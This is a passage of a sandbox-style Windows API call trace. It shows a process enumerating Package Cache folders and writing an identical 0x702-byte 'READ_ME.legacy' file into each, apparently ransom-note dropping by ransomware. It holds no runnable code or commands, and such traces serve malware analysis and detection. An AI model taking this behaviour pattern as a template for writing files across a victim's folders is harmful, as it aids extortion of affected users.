lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9b26095, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec173c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9b4c2ed, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="vcRuntimeAdditional_x86", cAlternateFileName="VCRUNT~1")) returned 0 [0135.013] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e87f0 [0135.013] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e96c8 | out: hHeap=0x520000) returned 1 [0135.013] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9470 | out: hHeap=0x520000) returned 1 [0135.013] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d438 | out: hHeap=0x520000) returned 1 [0135.013] FindFirstFileW (in: lpFileName="\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc800531, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc800531, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xd5b26dcd, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x60bc98 [0135.013] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563358 | out: hHeap=0x520000) returned 1 [0135.013] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5789b0 [0135.013] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0135.013] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5789b0 | out: hHeap=0x520000) returned 1 [0135.013] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8ef8 [0135.013] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0135.013] GetLastError () returned 0x12 [0135.014] SetLastError (dwErrCode=0x12) [0135.014] GetLastError () returned 0x12 [0135.014] SetLastError (dwErrCode=0x12) [0135.014] GetLastError () returned 0x12 [0135.014] SetLastError (dwErrCode=0x12) [0135.014] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0135.014] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d348 [0135.014] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d348 | out: hHeap=0x520000) returned 1 [0135.014] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d320 [0135.014] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x60c298 [0135.014] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c298 | out: hHeap=0x520000) returned 1 [0135.014] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20168 [0135.014] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20168 | out: hHeap=0x520000) returned 1 [0135.014] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d320 | out: hHeap=0x520000) returned 1 [0135.014] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0135.014] FindNextFileW (in: hFindFile=0x60bc98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc800531, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc800531, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xd5b26dcd, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0135.014] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8ef8 | out: hHeap=0x520000) returned 1 [0135.014] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578890 [0135.014] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0135.014] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578890 | out: hHeap=0x520000) returned 1 [0135.014] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e88b8 [0135.014] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0135.014] GetLastError () returned 0x12 [0135.015] SetLastError (dwErrCode=0x12) [0135.015] GetLastError () returned 0x12 [0135.015] SetLastError (dwErrCode=0x12) [0135.015] GetLastError () returned 0x12 [0135.015] SetLastError (dwErrCode=0x12) [0135.015] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b38 [0135.015] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d348 [0135.015] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d348 | out: hHeap=0x520000) returned 1 [0135.015] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d348 [0135.015] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x60bc18 [0135.015] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60bc18 | out: hHeap=0x520000) returned 1 [0135.015] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20120 [0135.015] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20120 | out: hHeap=0x520000) returned 1 [0135.015] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d348 | out: hHeap=0x520000) returned 1 [0135.015] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b38 | out: hHeap=0x520000) returned 1 [0135.015] FindNextFileW (in: hFindFile=0x60bc98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5b26dcd, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd5b26dcd, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd5b26dcd, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0135.015] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e88b8 | out: hHeap=0x520000) returned 1 [0135.015] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5784a0 [0135.015] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0135.015] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5784a0 | out: hHeap=0x520000) returned 1 [0135.015] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e88b8 [0135.015] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0135.015] GetLastError () returned 0x12 [0135.015] SetLastError (dwErrCode=0x12) [0135.016] GetLastError () returned 0x12 [0135.016] SetLastError (dwErrCode=0x12) [0135.016] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x563358 [0135.016] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e88b8 | out: hHeap=0x520000) returned 1 [0135.016] GetLastError () returned 0x12 [0135.016] SetLastError (dwErrCode=0x12) [0135.016] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d320 [0135.016] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d320 | out: hHeap=0x520000) returned 1 [0135.016] FindNextFileW (in: hFindFile=0x60bc98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc800531, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc8267ac, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc8267ac, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="vcRuntimeMinimum_amd64", cAlternateFileName="VCRUNT~1")) returned 1 [0135.016] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563358 | out: hHeap=0x520000) returned 1 [0135.016] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578380 [0135.016] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0135.016] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578380 | out: hHeap=0x520000) returned 1 [0135.016] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e9150 [0135.016] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0135.016] GetLastError () returned 0x12 [0135.016] SetLastError (dwErrCode=0x12) [0135.017] GetLastError () returned 0x12 [0135.017] SetLastError (dwErrCode=0x12) [0135.017] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x563358 [0135.017] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9150 | out: hHeap=0x520000) returned 1 [0135.017] GetLastError () returned 0x12 [0135.017] SetLastError (dwErrCode=0x12) [0135.017] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b38 [0135.017] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b70 [0135.017] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b38 | out: hHeap=0x520000) returned 1 [0135.017] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b70 | out: hHeap=0x520000) returned 1 [0135.017] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf0) returned 0x60a6a8 [0135.017] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d500 [0135.017] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf0) returned 0x60a2c8 [0135.017] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3508 [0135.017] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33c8 [0135.017] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5785c0 [0135.017] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0135.017] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5785c0 | out: hHeap=0x520000) returned 1 [0135.017] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8ef8 [0135.017] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0135.017] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x570c48 [0135.017] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8ef8 | out: hHeap=0x520000) returned 1 [0135.017] GetLastError () returned 0x12 [0135.018] SetLastError (dwErrCode=0x12) [0135.018] GetLastError () returned 0x12 [0135.018] SetLastError (dwErrCode=0x12) [0135.018] GetLastError () returned 0x12 [0135.018] SetLastError (dwErrCode=0x12) [0135.018] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x110) returned 0x585170 [0135.018] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\READ_ME.legacy" (normalized: "c:\\users\\all users\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\packages\\vcruntimeminimum_amd64\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x704 [0135.020] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x585170 | out: hHeap=0x520000) returned 1 [0135.020] WriteFile (in: hFile=0x704, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0135.021] CloseHandle (hObject=0x704) returned 1 [0135.021] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x570c48 | out: hHeap=0x520000) returned 1 [0135.021] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0135.021] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3508 | out: hHeap=0x520000) returned 1 [0135.021] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60a2c8 | out: hHeap=0x520000) returned 1 [0135.021] FindNextFileW (in: hFindFile=0x60bc98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc800531, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc8267ac, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc8267ac, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="vcRuntimeMinimum_amd64", cAlternateFileName="VCRUNT~1")) returned 0 [0135.021] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8a48 [0135.022] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e87f0 | out: hHeap=0x520000) returned 1 [0135.022] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8bd8 | out: hHeap=0x520000) returned 1 [0135.022] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d4b0 | out: hHeap=0x520000) returned 1 [0135.022] FindFirstFileW (in: lpFileName="\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd417172a, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f1dba9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd5b26dcd, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x60c118 [0135.022] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563358 | out: hHeap=0x520000) returned 1 [0135.022] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578578 [0135.022] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0135.022] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578578 | out: hHeap=0x520000) returned 1 [0135.022] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8d68 [0135.022] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0135.022] GetLastError () returned 0x12 [0135.022] SetLastError (dwErrCode=0x12) [0135.022] GetLastError () returned 0x12 [0135.022] SetLastError (dwErrCode=0x12) [0135.022] GetLastError () returned 0x12 [0135.022] SetLastError (dwErrCode=0x12) [0135.022] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574c18 [0135.022] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d030 [0135.022] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d030 | out: hHeap=0x520000) returned 1 [0135.023] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d5c8 [0135.023] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x60bf98 [0135.023] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60bf98 | out: hHeap=0x520000) returned 1 [0135.023] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20288 [0135.023] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20288 | out: hHeap=0x520000) returned 1 [0135.023] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d5c8 | out: hHeap=0x520000) returned 1 [0135.023] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574c18 | out: hHeap=0x520000) returned 1 [0135.023] FindNextFileW (in: hFindFile=0x60c118, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd417172a, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f1dba9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd5b26dcd, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0135.023] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8d68 | out: hHeap=0x520000) returned 1 [0135.023] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578410 [0135.023] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559fb8 [0135.023] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578410 | out: hHeap=0x520000) returned 1 [0135.023] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e96c8 [0135.023] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559fb8 | out: hHeap=0x520000) returned 1 [0135.023] GetLastError () returned 0x12 [0135.023] SetLastError (dwErrCode=0x12) [0135.023] GetLastError () returned 0x12 [0135.023] SetLastError (dwErrCode=0x12) [0135.023] GetLastError () returned 0x12 [0135.023] SetLastError (dwErrCode=0x12) [0135.023] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b38 [0135.023] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d4a8 [0135.023] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d4a8 | out: hHeap=0x520000) returned 1 [0135.023] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d320 [0135.024] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x60c058 [0135.024] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c058 | out: hHeap=0x520000) returned 1 [0135.024] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20240 [0135.024] FindNextFileW (in: hFindFile=0x60c118, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5b26dcd, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd5b26dcd, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd5b4d228, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0135.024] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5788d8 [0135.024] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0135.024] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e9538 [0135.024] SetLastError (dwErrCode=0x12) [0135.024] GetLastError () returned 0x12 [0135.024] SetLastError (dwErrCode=0x12) [0135.024] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x563358 [0135.024] SetLastError (dwErrCode=0x12) [0135.024] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d4b0 [0135.024] FindNextFileW (in: hFindFile=0x60c118, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd417172a, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f759d9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd41e3e2d, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="vcRuntimeAdditional_amd64", cAlternateFileName="VCRUNT~1")) returned 1 [0135.024] SetLastError (dwErrCode=0x12) [0135.024] GetLastError () returned 0x12 [0135.024] SetLastError (dwErrCode=0x12) [0135.024] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x563358 [0135.024] SetLastError (dwErrCode=0x12) [0135.024] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5789f8 [0135.024] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578380 [0135.025] SetLastError (dwErrCode=0x12) [0135.025] GetLastError () returned 0x12 [0135.025] SetLastError (dwErrCode=0x12) [0135.025] GetLastError () returned 0x12 [0135.025] SetLastError (dwErrCode=0x12) [0135.025] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\READ_ME.legacy" (normalized: "c:\\users\\all users\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\packages\\vcruntimeadditional_amd64\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x708 [0135.027] WriteFile (in: hFile=0x708, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0135.028] CloseHandle (hObject=0x708) returned 1 [0135.028] FindNextFileW (in: hFindFile=0x60c118, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd417172a, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f759d9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd41e3e2d, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="vcRuntimeAdditional_amd64", cAlternateFileName="VCRUNT~1")) returned 0 [0135.028] FindFirstFileW (in: lpFileName="\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd414b4b9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f76e30, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd5b4d228, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x60be58 [0135.028] SetLastError (dwErrCode=0x12) [0135.028] GetLastError () returned 0x12 [0135.028] SetLastError (dwErrCode=0x12) [0135.029] GetLastError () returned 0x12 [0135.029] SetLastError (dwErrCode=0x12) [0135.029] FindNextFileW (in: hFindFile=0x60be58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd414b4b9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f76e30, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd5b4d228, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0135.029] SetLastError (dwErrCode=0x12) [0135.029] GetLastError () returned 0x12 [0135.029] SetLastError (dwErrCode=0x12) [0135.029] GetLastError () returned 0x12 [0135.029] SetLastError (dwErrCode=0x12) [0135.029] FindNextFileW (in: hFindFile=0x60be58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5b4d228, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd5b4d228, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd5b4d228, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0135.029] SetLastError (dwErrCode=0x12) [0135.029] GetLastError () returned 0x12 [0135.029] SetLastError (dwErrCode=0x12) [0135.029] SetLastError (dwErrCode=0x12) [0135.029] FindNextFileW (in: hFindFile=0x60be58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd414b4b9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f7778e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd417172a, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="vcRuntimeMinimum_amd64", cAlternateFileName="VCRUNT~1")) returned 1 [0135.029] SetLastError (dwErrCode=0x12) [0135.029] GetLastError () returned 0x12 [0135.029] SetLastError (dwErrCode=0x12) [0135.029] SetLastError (dwErrCode=0x12) [0135.029] SetLastError (dwErrCode=0x12) [0135.029] GetLastError () returned 0x12 [0135.029] SetLastError (dwErrCode=0x12) [0135.029] GetLastError () returned 0x12 [0135.030] SetLastError (dwErrCode=0x12) [0135.030] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\READ_ME.legacy" (normalized: "c:\\users\\all users\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\packages\\vcruntimeminimum_amd64\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x70c [0135.032] WriteFile (in: hFile=0x70c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0135.033] CloseHandle (hObject=0x70c) returned 1 [0135.033] FindNextFileW (in: hFindFile=0x60be58, 